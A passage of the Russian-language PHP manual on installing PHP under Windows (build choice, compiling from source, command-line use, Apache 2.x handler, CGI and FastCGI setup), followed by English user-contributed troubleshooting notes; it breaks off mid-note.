Существует несколько версий Apache2 для Windows. Мы поддерживаем ApacheLounge, но другие варианты включают XAMPP, WampServer и BitNami, которые предоставляют средства автоматической установки. Вы можете использовать mod_php или mod_fastcgi для загрузки PHP на Apache. Если вы используете mod_php, необходимо использовать TS-build Apache, Visual C той же версии и тот же процессор (x86 или x64).

Выберите сборку

Скачайте PHP-релизы с » http://windows.php.net/download/. Все сборки оптимизированы (PGO), а выпуски QA и GA тщательно протестированы.

Есть 4 типа сборок PHP:

  • Thread-Safe(TS) - для одного процесса веб-служб, как Apache с mod_php

  • Non-Thread-Safe(NTS) - для служб IIS и других FastCGI веб-серверов (Apache с mod_fastcgi) рекомендуется и для сценариев командной строки

  • для x86 - для 32-разрядной версии

  • для x64 - для 64-разрядной версии

User Contributed Notes

klaussantana at gmail dot com 31-Jan-2021 03:34
If you're installing PHP 8.0.1 as Apache http server module, in httpd.conf you must use "php_module" in "LoadModule" directive instead of versioned names like in previous versions (aka, php5_module, php7_module, ...). Make the directive as follow:

LoadModule php_module "/path/to/php8apache2_4.dll"

I cracked my head over this...


Сборка из исходных кодов

В этой главе рассказывается, как скомпилировать PHP из исходных кодов в Windows с помощью инструментов Microsoft. Чтобы скомпилировать PHP с помощью cygwin, обратитесь к Установка на Unix-системы.

Смотрите Wiki-документацию по адресу: » https://wiki.php.net/internals/windows/stepbystepbuild

User Contributed Notes

mail at tonywilk dot co dot uk 08-Jan-2014 06:03
Building PHP on Windows 7 with Visual Studio 2010 installed...
- this differs slightly from the stepbystepbuild info and it worked for me :)

0. make a directory and unpack both of these into it:
      php-5.4.23-src.zip  (should have a win32 directory in it)
      php-sdk-binary-tools-20110915
1. Run Visual Studio 2010 command prompt
2. CD to your php source root directory
3. set mc="C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\mc"    - or wherever it is on your machine
4. vcvars32
5. set path=your_php_source_directory\bin;%PATH%
6. buildconf
7. configure --help
     this gets you a list of all the options, then... (e.g.)
8. configure --disable-all --enable-cgi --with-sqlite3
9. nmake
10. results should be in Release_TS
       in this example, all we need is php-cgi.exe and php5ts.dll
buda 15-Nov-2011 02:10
Using --enable-snapshot-build when setting the configure command requires you to also set --disable-static-analyze (Win7 64Bit, VC9 Express, SDK 6.1) for otherwise you will run into a fatal compiler error "C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\Include\tchar.h(1659) : fa
tal error C1001: Interner Compilerfehler.
(Compilerdatei "msc1ast.cpp", Zeile 1411)"
(see also https://bugs.php.net/bug.php?id=55779)
Joel Low 27-Feb-2010 02:12
To build everything in the distribution, pass --enable-snapshot-build to configure.js. In addition, you may like to use "snap" as the nmake target. If you intend to build the PHP Windows Installer, WiX source files can be obtained from http://svn.php.net/repository/php/win-installer/.
michal dot kocarek at brainbox dot cz 17-Aug-2009 11:10
PHP extensions can be compiled statically or shared.

- Shared compilation creates a well-known php_*.dll file.
- Static compilation puts the extension directly into PHP (therefore it does not need to be loaded and cannot be unloaded)

You can switch whether to compile given extension statically or as library by adding =static or =shared to the extension in configure.js command during the compilation.

configure --enable-http=static --with-openssl=shared
// http extension will be included in PHP
// openssl extension will be compiled as separate DLL
Bas van Beek 12-Mar-2009 06:50
If trying to compile the code (Windows XP, SDK v6.1) and you get the following types of errors:

c:\phpdev\php-5.2.9\main\php_network.h(128) : warning C4005: 'POLLIN' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1495) :
see previous definition of 'POLLIN'
c:\phpdev\php-5.2.9\main\php_network.h(129) : warning C4005: 'POLLPRI' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1496) :
see previous definition of 'POLLPRI'
c:\phpdev\php-5.2.9\main\php_network.h(130) : warning C4005: 'POLLOUT' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1499) :
see previous definition of 'POLLOUT'
c:\phpdev\php-5.2.9\main\php_network.h(131) : warning C4005: 'POLLERR' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1502) :
see previous definition of 'POLLERR'
c:\phpdev\php-5.2.9\main\php_network.h(132) : warning C4005: 'POLLHUP' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1503) :
see previous definition of 'POLLHUP'
c:\phpdev\php-5.2.9\main\php_network.h(133) : warning C4005: 'POLLNVAL' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1504) :
see previous definition of 'POLLNVAL'
NMAKE : fatal error U1077: '"C:\Program Files\Microsoft Visual Studio 9.0\VC\BIN
\cl.exe"' : return code '0x2'
Stop.

You can alter the Makefile and add the following switch to CFLAGS:

/D _WIN32_WINNT
php at tattodecastro dot com 06-Dec-2007 04:14
If you are getting the following error message:
Input Error: There is no script engine for file extension ".js"
with Visual Studio 2005 Command Prompt or similar, try to add  "/e:jscript" to the command line.

Something like:
cscript /nologo /e:jscript win32/build/buildconf.js

It worked for me, I hope it helps.
axel at kollmorgen dot net 27-May-2007 06:13
>>Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll
>
> Only if you compile with the wrong runtime library.

if this is so easy, please tell us how you managed to *not* create dependencies on msvcp71.dll/msvcr80/... using Visual C++ .NET 2000/2003/2005. thanks!
10-Dec-2006 06:09
>> Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll

Only if you compile with the wrong runtime library.
zbowden at vt dot edu 12-May-2006 07:12
When running "cscript /nologo configure.js" 5.x on Windows
2000 or XP, if you get the following error:
Microsoft JScript runtime error: Object doesn't support this
property or method

You need to have at least version 5.6 of WSH.
This is necessary because configure.js will use the .Exec()
method of the WScript.Shell.
This evidently didn't exist until 5.6?

You can download WSH 5.6 here:
http://www.microsoft.com/downloads/details.aspx?
FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&DisplayLang=en


Командная строка PHP в Microsoft Windows

Этот раздел содержит примечания и подсказки, относящиеся к запуску PHP из командной строки для Windows.

Замечание:

Сначала следует прочитать шаги ручной установки!

Запуск PHP из командной строки можно выполнить без внесения каких-либо изменений в Windows.

C:\php\php.exe -f "C:\PHP Scripts\script.php" -- -arg1 -arg2 -arg3

Но есть несколько шагов, которые помогут упростить этот процесс. Некоторые из этих шагов уже должны были быть предприняты, но они повторяются здесь, чтобы иметь возможность предоставить полную пошаговую последовательность.

    Замечание:

    И PATH, и PATHEXT являются важными переменными, изначально существовавшими в Windows, и следует позаботиться о том, чтобы не перезаписывать ни одну из переменных, а только добавлять к ним.

  • Добавьте расположение исполняемого файла PHP (php.exe, php-win.exe или php-cli.exe в зависимости от вашей версии PHP и предпочтений отображения) в переменную окружения PATH. Подробнее о том, как добавить каталог PHP в PATH, читайте в соответствующей записи часто задаваемых вопросов.

  • Добавьте расширение .PHP к переменной окружения PATHEXT. Это можно сделать одновременно с изменением переменной окружения PATH. Выполните те же действия, что и в ЧАВО, но измените переменную окружения PATHEXT, а не PATH.

    Замечание:

    Позиция, в которую вы помещаете .PHP, будет определять, какой скрипт или программа будет выполняться при совпадении имён файлов. Например, размещение .PHP перед .BAT приведёт к запуску вашего скрипта, а не пакетного файла, если существует пакетный файл с тем же именем.

  • Свяжите расширение .PHP с типом файла. Это делается с помощью следующей команды:

    assoc .php=phpfile

  • Свяжите тип файла phpfile с соответствующим исполняемым файлом PHP. Это делается с помощью следующей команды:

    ftype phpfile="C:\php\php.exe" -f "%1" -- %~2

Выполнение этих шагов позволит запускать скрипты PHP из любого каталога без необходимости вводить исполняемый файл PHP или расширение .PHP, и все параметры будут переданы скрипту для обработки.

В приведённом ниже примере описаны подробности о некоторых изменениях в реестре, которые можно сделать вручную.

Пример #1 Изменения в реестре

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.php]
@="phpfile"
"Content Type"="application/php"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile]
@="PHP Script"
"EditFlags"=dword:00000000
"BrowserFlags"=dword:00000008
"AlwaysShowExt"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\DefaultIcon]
@="C:\\php\\php-win.exe,0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell]
@="Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open]
@="&Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open\command]
@="\"C:\\php\\php.exe\" -f \"%1\" -- %~2"

С этими изменениями эту же команду можно записать как:

"C:\PHP Scripts\script" -arg1 -arg2 -arg3
или, если ваш путь "C:\PHP Scripts" находится в переменной окружения PATH:
script -arg1 -arg2 -arg3

Замечание:

Есть небольшая проблема, если вы собираетесь использовать эту технику и использовать свои скрипты PHP в качестве фильтра командной строки, как в примере ниже:

dir | "C:\PHP Scripts\script" -arg1 -arg2 -arg3
или
dir | script -arg1 -arg2 -arg3
Вы можете обнаружить, что сценарий просто зависает и ничего не выводится. Чтобы это заработало, необходимо внести ещё одно изменение в реестр.
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"InheritConsoleHandles"=dword:00000001
Дополнительную информацию по этой проблеме можно найти в этой » статье базы знаний Microsoft : 321788. В Windows 10 этот параметр изменён на противоположный, и стандартная установка Windows 10 поддерживает унаследованные дескрипторы консоли. Это » сообщение на форуме Microsoft предоставляет объяснение.

User Contributed Notes

vechenjivot at gmail dot com 15-Jan-2016 01:18
On Windows 10, the above registry entries didn't work for me. In order for them to work, you need to write to
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.php\UserChoice
for which you don't have access, even if you run regedit as admin (probably because of the Hash key).
The solution is actually much easier - right-click a PHP file in Explorer and associate it to always open with php.exe.
And then you need to modify the PATH variable:
setx PATH "%PATH%;c:\path\to\php" /M
if you want to execute files with commands like
php file.php
rudigerw at hotmail dot com 31-Dec-2015 08:09
On Windows 10 starting php by only typing the script name in an elevated command prompt pops up a dialog to choose an app.
It turns out Windows does that when the program associated with phpfiles through ftype cannot be executed. In this case this happens because it is trying to run php.exe in non-admin mode, even when launched from an elevated command prompt. To fix this, locate your php.exe, right-click, "Properties",  "Compatibility", under Settings check "Run this program as an administrator; then also click "Change settings for all users".
elhadjouattara at gmail dot thrcom 26-Apr-2015 05:47
On Windows 8, with php 5.6.8 win32 VC11 in command line, need to indicate path with / rather than backslash \
Hence C:\Users\toshiba\Documents\php\test.php shall be C:/Users/toshiba/Documents/php/test.php
pimroes at gmail dot com 11-Jan-2011 12:11
Make sure your run CMD.exe as an administrator, otherwise you'll get an "access denied" when you run the commands.


Apache 2.x в Microsoft Windows

Этот раздел содержит примечания и подсказки к установке PHP, связанной с Apache 2.x на системах Microsoft Windows.

Замечание:

Сначала следует прочитать шаги ручной установки!

Крайне рекомендуется обратиться к » Документации Apache, чтобы получить базовое представление о сервере Apache 2.x. Также подумайте о чтении » Примечаний для Windows для Apache 2.x перед чтением этого руководства.

Загрузите последнюю версию » Apache 2.x и подходящую версию PHP. Следуйте шагам ручной установки и возвращайтесь, чтобы продолжить интеграцию PHP и Apache.

Существует три способа настроить PHP для работы с Apache 2.x в Windows. PHP можно запускать как обработчик, как CGI или под FastCGI.

Замечание: Помните, что при указании путей в конфигурационных файлах Apache под Windows, все обратные слеши, например, c:\directory\file.ext должны быть изменены на прямые: c:/directory/file.ext. Для путей с директориями также может понадобиться слеш в конце.

Установка в качестве обработчика Apache

Чтобы загрузить модуль PHP для Apache 2.x, необходимо вставить следующие строки в файл конфигурации Apache httpd.conf:

Пример #1 PHP и Apache 2.x в качестве обработчика

# до PHP 8.0.0 имя модуля было php7_module
LoadModule php_module "c:/php/php8apache2_4.dll"
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>
# укажите путь до php.ini
PHPIniDir "C:/php"

Замечание: В приведённых выше примерах необходимо подставить фактический путь к PHP вместо C:/php/. Убедитесь, что файл, указанный в директиве LoadModule, находился в указанном месте. Используйте php7apache2_4.dll для PHP 7 или php8apache2_4.dll для PHP 8.

Запуск PHP как CGI

Настоятельно рекомендуется обратиться к » Документации Apache CGI для более полного понимания того, как запускать CGI в Apache.

Чтобы запустить PHP как CGI, файлы php-cgi должны быть помещены в каталог, обозначенный как каталог CGI с использованием директивы ScriptAlias.

Строку #! необходимо будет поместить в файлы PHP, которые указывают на расположение бинарного файла PHP:

Пример #2 PHP и Apache 2.x как CGI

#!C:/php/php.exe
<?php
  phpinfo();
?>

Внимание

Используя установку CGI, ваш сервер открыт перед несколькими возможными уязвимостями. Пожалуйста, ознакомьтесь с разделом "Безопасность CGI" чтобы узнать, как можно защитить себя от таких атак.

Запуск PHP под FastCGI

Запуск PHP под FastCGI имеет ряд преимуществ перед запуском как CGI. Настройка таким способом довольно проста:

Загрузите mod_fcgid с » https://www.apachelounge.com. Бинарные файлы Win32 доступны для загрузки с этого сайта. Установите модуль в соответствии с прилагаемой к нему инструкцией.

Настройте свой веб-сервер, как показано ниже, позаботившись о том, чтобы скорректировать все пути в соответствии с тем, как вы провели установку в своей конкретной системе:

Пример #3 Настройка Apache для запуска PHP как FastCGI

LoadModule fcgid_module modules/mod_fcgid.so
# Где находится ваш файл php.ini?
FcgidInitialEnv PHPRC        "c:/php"
<FilesMatch \.php$>
    SetHandler fcgid-script
</FilesMatch>
FcgidWrapper "c:/php/php-cgi.exe" .php
Файлы с расширением .php теперь будут исполняться обёрткой PHP FastCGI.

User Contributed Notes

alx dot suvorov at gmail dot com 14-Mar-2018 07:28
For PHP 7 configuration just add these lines to the end of httpd.conf file (of Apache):

PHPIniDir "/alex/apps/php-7.2.3/"
LoadModule php7_module "C:/alex/apps/php-7.2.3/php7apache2_4.dll"
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

Here "/alex/apps/php-7.2.3/" is PHP path.

Then:
1. Rename php.ini-development or php.ini-production to php.ini
2. Uncomment / set extension_dir parameter in php.ini
; Directory in which the loadable extensions (modules) reside.
; http://php.net/extension-dir
; extension_dir = "./"
; On windows:
extension_dir = "ext"

You are set. Just re/start Apache server (httpd -k restart).
gmatwy at gmail dot com 30-Sep-2016 06:24
version
httpd-2.4.23-win32-VC14.zip
php-5.6.26-ts-Win32-VC11-x86.zip

install path c:/wamp/
php path c:/wamp/php
apache path c:/wamp/Apache24
used as Apache handler

modify as below

#below for apache
#modify c:/ to c:/wamp/
#modify ServerName to localhost:80 and remove#
#DirectoryIndex insert index.php

#below for php
#rename file php.ini-production to php.ini
LoadModule php5_module "C:/wamp/php/php5apache2_4.dll"
PHPIniDir "C:/wamp/php/"

AddType application/x-httpd-php .php
AddType application/x-httpd-php .html

AddHandler application/x-httpd-php .php

And things goes well !
a user 20-Dec-2015 02:32
If you are having issues getting the PHPIniDir or LoadModule directives to work and all the suggestions already given do not help, double-check if you are not using fancy quotes around your paths (' '  " ").

This happened to me because I copied the statements from a random website. In my text editor the difference was barely noticeable, but to Apache it certainly is!

For example, this will not work:
PHPIniDir "C:/PHP7"

But this will work:
PHPIniDir "C:/PHP7"
ohcc at 163 dot com 25-Jul-2015 04:48
If you come with an error like this: Wrapper xxxx cannot be accessed: blah blah blah when starting Apache.

You have 3 choices to solve this problem. Any one of them would work.

1. Reinstall your applictions in paths that do not contain spaces.

2. Place a backslash before every space in the path set to the FcgidWrapper directive in httpd.conf, like:

FcgidWrapper "C:/Program\ Files/PHPServer/PHP/php-cgi.exe" .php

3. Use mklink (or junction for windows XP/2003) to create a symbol link to the path of php-cgi.exe's containing folder.

run cmd.exe and type this command:

mklink /j C:\php\ "C:\Program Files\PHPServer\PHP".

or this command if you are on Windows XP/2003

junction C:\php\ "C:\Program Files\PHPServer\PHP"

Remember this : you need to download junction.exe to use it. Don't know where to download? Google it.

Then the FcgidWrapper directive should be like this:

FcgidWrapper "C:/php/php-cgi.exe" .php

Don't forget to change the paths above to your working paths.
ohcc at 163 dot com 25-Jul-2015 07:55
If you come with an error like this: Wrapper xxxx cannot be accessed: blah blah blah when starting Apache.

You have 3 choices to solve this problem. Any one of them would work.

1. Install your applictions in paths that do not contains spaces.

2. Place a backslash before every space in the path set to Wrapper, like:

FctidWrapper "C:/Program\ Files/PHPServer/PHP/php-cgi.exe" .php

3. Use mklink (or junction for windows XP/2003) to create a link to the path you have installed php in.

run cmd.exe and type this command:

 mklink /j C:\php\ "C:\Program Files\PHPServer\PHP".

 or this command if you are on Windows XP/2003

 junction C:\php\ "C:\Program Files\PHPServer\PHP"

 Remember this : you have to download online to use this application. Don't know where to download? Go and Google it.

Then the FctidWrapper directive should be like this:

FctidWrapper "C:/php/php-cgi.exe" .php

Don't forget to change the paths above to your working paths.
BuggedApache 06-Mar-2015 10:39
Windows Apache 2.4.12 (x64) PHP 5.6.5 (x64)
If your Apache still outputs code instead of parsing a script. Make sure you put a trailing "\" at the end of the PHPIniDir value and use ONLY "\" in path to PHPIniDir. And "/" in LoadModule. A very subtle "feature" of Apache module. Lost several hours after upgrading to apache x64 to resolve the issue.

httpd.conf
###############################################
PHPIniDir "C:\folder\to\hold\php\"
LoadModule php5_module "C:/folder/to/hold/php/php5apache2_4.dll"
AddHandler application/x-httpd-php .php
###############################################
Anonymous 23-Jan-2015 03:10
With Apache 2.4 in Windows, it seems that PHPIniDir directive must come before LoadModule directive to be used. Also, name of the DLL file seems to be php5apache2_4.dll, not php5apache2.dll.

This configuration in httpd.conf works for me (Apache 2.4.10, PHP 5.6.5):

PHPIniDir "C:\PHP"

LoadModule php5_module "c:/php/php5apache2_4.dll"
<FilesMatch \.php$>
      SetHandler application/x-httpd-php
</FilesMatch>
kynetikmedia at gmail dot com 04-Jun-2014 02:47
****Installed and Working 1- Fell Swoop - UPDATED****
Installed on Windows 8.1 XPS 12 - Dell 8GB RAM 128GB SSD -
Notes - Complications due to Apache latest version causes issues with the PHP handler on install.  Following below will get it run right off the bat.

Getting and installing Apache

1  In your browser go to h t t p : / / h t t p d . a p a c h e . o r g / d o w n l o a d . c g i
   (without the spaces) - You will need to go 'Other Files' , 'Binaries' , 'W32', and then your installer MSI will be listed as below.
2  Click on  httpd-2.2.25-win32-x86-no_ssl.msi
   (this is a self-installing executable file without crypto ... no Secure Socket Layer)
   (2.2.25was the latest version on June 4, 2014)
3  Click on the httpd-2.2.25-win32-x86-no_ssl.msi file after it downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the license agreement
6  Click Next
7  Click Next
8  Type localhost in the top box
9  Type localhost in the middle box
10 Type admin@localhost.com in the bottom box
11 Click Next
12 Click Next
13 Click Next
14 Click Install and wait
15 Cick Yes to allow the program to make changes
16 Click Finish

Testing Apache

1  Type localhost in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t
   (without the spaces)
2  The message It works! should appear.

Getting and installing PHP

1  In your browser go to h t t p : / / w i n d o w s . p h p . n e t / d o w n l o a d /
   (without the spaces)
2  Click on the Installer link under PHP 5.3 (5.3.10)   VC9 x86 Thread Safe
   (Ignore the Do NOT use VC9 version with apache.org binaries comment on the side panel)
3  Click on the php-5.3.10-Win32-VC9-x86.msi file after in downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the License Agreement
6  Click Next
7  Click Next
8  Click Apache 2.2.x Module
9  Click Next
10 Click Browse
11 Double click Apache Software Foundation
12 Double click Apache 2.2
13 Double click conf
14 Click OK
15 Click Next
16 Click Next
17 Click Install and wait
18 Cick Yes to allow the program to make changes
19 Click Finish

Testing PHP with Apache

1  Open Notepad
2  Type 'left bracket character'?php phpinfo(); ?'right bracket character'
3  Save the file to C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs as test.php
4  Type localhost/test.php in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t / t e s t . p h p
5  A table with title PHP Version ... should appear

DONE
jangirashok at gmail dot com 27-Apr-2014 05:15
Can anyone tell me: Why PHP + Apache 2.2.x installation is such a big deal. I am a Java Developer and currently I am trying to learn PHP, but I am not able to install PHP and use it the way we use Java. I could use steps mentioned in comments and run home.php from htdocs folder of apache. But, could anyone please tell me DO I HAVE TO PUT EVERY FILE IN THE SAME FOLDER? Can't I make my workbench where I can put a good project hierarchy and use it like other languages. Its horrible. May be my question is little silly, but I need help for sure.
Thanks...
tmnuwan12 at yahoo dot com 06-Feb-2014 03:13
I am very new to PHP. I was looking to start a Drupal project and spend almost 4 hours to get Apache and Drupal talk each other.
What I found out was there are lots of mismatch in documentation and snapshots.

As I am using Windows I found out following two installation bundles works without any issue.

php-5.3.28-Win32-VC9-x86.msi
httpd-2.2.25-win32-x86-openssl-0.9.8y.msi

Make sure you install your packages directly into into C: drive in Windows machine (If there are spaces in the file paths it would cause issues).

Hope this would help someone.
wolfeh1994 at yahoo dot com 13-Jan-2014 02:11
Please for the love of god, download the threaded version. I spent over an hour trying to figure out why php5apache2.dll could not be found, and while desperately looking through manuals I went into the php 5 structure and found that it doesn't exist in the non-threaded version.

This really could use a mention somewhere other than the PHP 5 structure, like the paragraph to the left of the homepage which talks about which PHP version to choose, or this part of the manual which covers Apache... Anywhere but structure, seriously. I would have never guessed to look there.
compleatguru at gmail dot com 27-Sep-2013 03:05
I am using Windows 8 x64, running Apache 2.2 and php 5.4.20

I found that it is necessary to add System Environment Variable PHPRC=[PHP path], so that php.ini is loaded using your PHP path, instead of C:\Windows.

This is how I do for my laptop
Go to Control Panel\System and Security\System\Advanced System Settings\Environment Variables

Add New System Variable
Name: PHPRC
Value: C:\php-5.4.20

Hope it relieve those who keep having empty string for Loaded Configuration File under phpinfo();
Guillermo Tallano 03-Aug-2013 05:15
Hi guys,
In my case, it work right away when I change the version to thread-safe.
I spent some time trying the different things that were posted here and I was kind of lazy about downloading a different version, but once I test it with a thead-safe it started right away. So be sure you try this.

I was on Apache 2.2, XP and php 5.2.17 thread-safe

This is my conf:
LoadModule php5_module "c:/php5/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#configure the path to php.ini
PHPIniDir 'C:\php5\'

Good luck!
Amaroq 28-Mar-2013 10:53
Like someone else mentioned, on the Windows download page for PHP, ignore the warning about not downloading the VC9 compiled installers for the Apache.org version of Apache.

Whoever wrote that is guaranteeing that people install a PHP that breaks their Apache server. (On Windows 7 anyway.) The installer failed to write the correct path info to httpd.conf, and even after fixing that manually, Apache wouldn't start because of missing dlls.

Ignore that dumb warning and get the newest installer anyway. Everything just plain works with no hassle and no hunting down dll files over google.
Maw 31-Jan-2013 09:26
Good God finally I was able to make PHP 5.2 work on Apache 2.4. For those still having problems with "You don't have permission to run php-cgi.exe", you must replace "Order allow,deny" and "Allow from all" from the PHP directory block with "Require all granted". They must have changed the format with Apache 2.4 since the old method used to work just fine for me before.

So the usual method of setting up CGI, I'm sure you already know that you should add these 3 lines to httpd.conf:
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php-cgi.exe"

And now add the directory for PHP:
<Directory "c:/php">
    AllowOverride None
    Options None
    Require all granted
</Directory>

Important: Notice that instead of "Order allow,deny" and "Allow from all" added into the PHP directory as usual, I replaced them with "Require all granted" as I mentioned above.
a solution for simpletons like me 25-Apr-2012 07:54
Installing Apache and PHP on Windows 7 Home Premium on a Gateway NV75S laptop with a quad AMD A6-3400M

All I need to do with these programs is to test my website out on my laptop.  I have HTML and PHP files. I do not need MySQL as I use html5 storage.

Getting and installing Apache

1  In your browser go to h t t p : / / h t t p d . a p a c h e . o r g / d o w n l o a d . c g i
   (without the spaces)
2  Click on  httpd-2.2.22-win32-x86-no_ssl.msi
   (this is a self-installing executable file without crypto ... no Secure Socket Layer)
   (2.2.22 was the latest version on April 25, 2012)
3  Click on the httpd-2.2.22-win32-x86-no_ssl.msi file after it downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the license agreement
6  Click Next
7  Click Next
8  Type localhost in the top box
9  Type localhost in the middle box
10 Type admin@localhost.com in the bottom box
11 Click Next
12 Click Next
13 Click Next
14 Click Install and wait
15 Cick Yes to allow the program to make changes
16 Click Finish

Testing Apache

1  Type localhost in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t
   (without the spaces)
2  The message It works! should appear.

Getting and installing PHP

1  In your browser go to h t t p : / / w i n d o w s . p h p . n e t / d o w n l o a d /
   (without the spaces)
2  Click on the Installer link under PHP 5.3 (5.3.10)   VC9 x86 Thread Safe
   (Ignore the Do NOT use VC9 version with apache.org binaries comment on the side panel)
3  Click on the php-5.3.10-Win32-VC9-x86.msi file after in downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the License Agreement
6  Click Next
7  Click Next
8  Click Apache 2.2.x Module
9  Click Next
10 Click Browse
11 Double click Apache Software Foundation
12 Double click Apache 2.2
13 Double click conf
14 Click OK
15 Click Next
16 Click Next
17 Click Install and wait
18 Cick Yes to allow the program to make changes
19 Click Finish

Testing PHP with Apache

1  Open Notepad
2  Type 'left bracket character'?php phpinfo(); ?'right bracket character'
3  Save the file to C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs as test.php
4  Type localhost/test.php in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t / t e s t . p h p
5  A table with title PHP Version ... should appear

DONE
Bechesa at gmail dot com 15-Mar-2012 11:56
Just a note
It might be important you include the absolute path to the php.ini  file inside the httpd.conf file so that php may load all the module(s).

below is an example

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir 'C:\PHP\php.ini'
LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

OS: windows 2008
webserver: apache2.2
bdav 05-Mar-2012 02:23
After spending few hours finally figured out that PHPINIDir path should be in single quotes and with backslash and php module with double quotes and regular slashes:

PHPIniDir 'c:\apps\php\'
LoadModule php5_module "c:/apps/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
Z Carlos at Fortaleza 04-Feb-2012 10:09
A Thread Safe version should be used if you install PHP as an Apache module. The Non Thread Safe version should be used if you install PHP as a CGI binary.
bradley dot henke at colorado dot edu 31-Oct-2011 01:38
I was able to get apache up and running without any problems. Then I tried installing php and it crashed trying to read "C:/php/php5apache2.dll".

Fixed the problem by switching it to "C:/php/php5apache2_2.dll"

Hope that helps!
Cooldude 31-Aug-2011 07:56
Also had an exception problem when trying to use mysql with apache and php5.

I had to add:

"<my MySQL folder>\bin" folder to path
"<my php folder>\ext" to path

that fixed it
Cameron 14-May-2011 11:37
Here is yet another aspect of the "faulting module php5ts.dll" crash when trying to start apache.
I installed Apache 2.2.18, Mysql 5.1.57 and PHP 5.2.17 (apache module, VC6 thread-safe - initially with no extensions) on a fresh WinXP SP3 system. The versions chosen were because I was trying to replicate as near as possible apps on my Linux server.

Everything configured and ran properly without php extensions, so I then reran the msi installer and chose the necessary extensions.  I reconfigured httpd.conf  but apache then just kept crashing.
Eventually I came across the "fix" mentioned elsewhere "copy libmysql.dll to apache folder" and suddenly it worked. But why? I checked and the php installation folder was in the system path. The answer was simply that I had never rebooted. It seems that whatever process controls windows services only reads the path at boot time.  I was thrown by assuming that if I started httpd from the command line then it would inherit that path.

Here are a few diagnostic tips that helped me along the way:

Try the CLI command:
php -m
and see that the command line version loads all the modules you asked for.

in php.ini, enable
display_errors = On
and
display_startup_errors = On
The latter pops up a window saying which extension it has trouble loading. Of course it is not perfectly clear, because it says something like 'unable to load "C:\php\ext\php_mysql.dll" - The specified module could not be found'. It lies - it really does find that dll, but it must have failed on the dependency of libmysql.dll.
farinspace 20-Nov-2010 11:36
Running PHP under FastCGI:

Besides the following in your httpd.conf

    LoadModule fcgid_module modules/mod_fcgid.so
    FcgidInitialEnv PHPRC "c:/php"
    AddHandler fcgid-script .php
    FcgidWrapper "c:/php/php-cgi.exe" .php

Remember to add the following to the default <Directory "C:/apache/htdocs"> block (or virtual host blocks):

    Options ExecCGI
lebovskiy at ua dot fm 16-Nov-2010 10:59
I install httpd-2.2.17-win32-x86-openssl-0.9.8o.msi and after
php-5.3.3-Win32-VC9-x86.msi on WinXP SP3. PHP installation add to httpd.conf next lines:

LoadModule php5_module "C:/PHP/php5apache2_2.dll
"PHPIniDir "C:/PHP"

After it Apache don`t starts. If remove PHPIniDir line Apache  starts ok, but C:/PHP/php.ini don`t loaded. So you can`t use any extension (for me it's MySQL).

I uninstall VC9 version and install VC6 (php-5.3.3-Win32-VC6-x86.msi) version. All works fine now.
halmai 15-Nov-2010 03:42
I wanted to install PHP5.3 for Apache2.2 with PostgreSql 9.0 support on WindowsXP. It took me hours to solve it.

The following possible problems occur:
- You should use the VC6-compiled version of php instead of VC9. The later one does not work properly with apache.
- the postgres handler dlls are not working in PHP5.3.

The symptom was a misleading and very confusing error message:

Unable to load dynamic library 'c:\Progra~1\PHP\ext\php_pgsql.dll'

The dll itself was there but when it started to load the other dll (libpq.dll) from the php directory then this caused an error. This error was misinterpreted internally in the above message.

The solution was NOT to use the libpq.dll from php but use it from postgres distribution instead.

For this purpose I inserted the following line into the apache httpd conf:

LoadFile "C:/Progra~1/PostgreSQL/9.0/bin/libpq.dll"

This preloads the dll. When php_pgsql.dll would load his own libpq.dll, then there is the preloaded version of this file in the memory already. This prevents us from using the bad version of dll.

I hope I helped.
Nick 16-Jun-2010 06:48
After using the Windows installer for Apache 2.2 and PHP 5.3.2, and installing PHP as an Apache module (not CGI), Apache would crash and fail to start. There were two problems with the configuration files for Apache and PHP.

First, make sure your Apache configuration file reads something similar to:

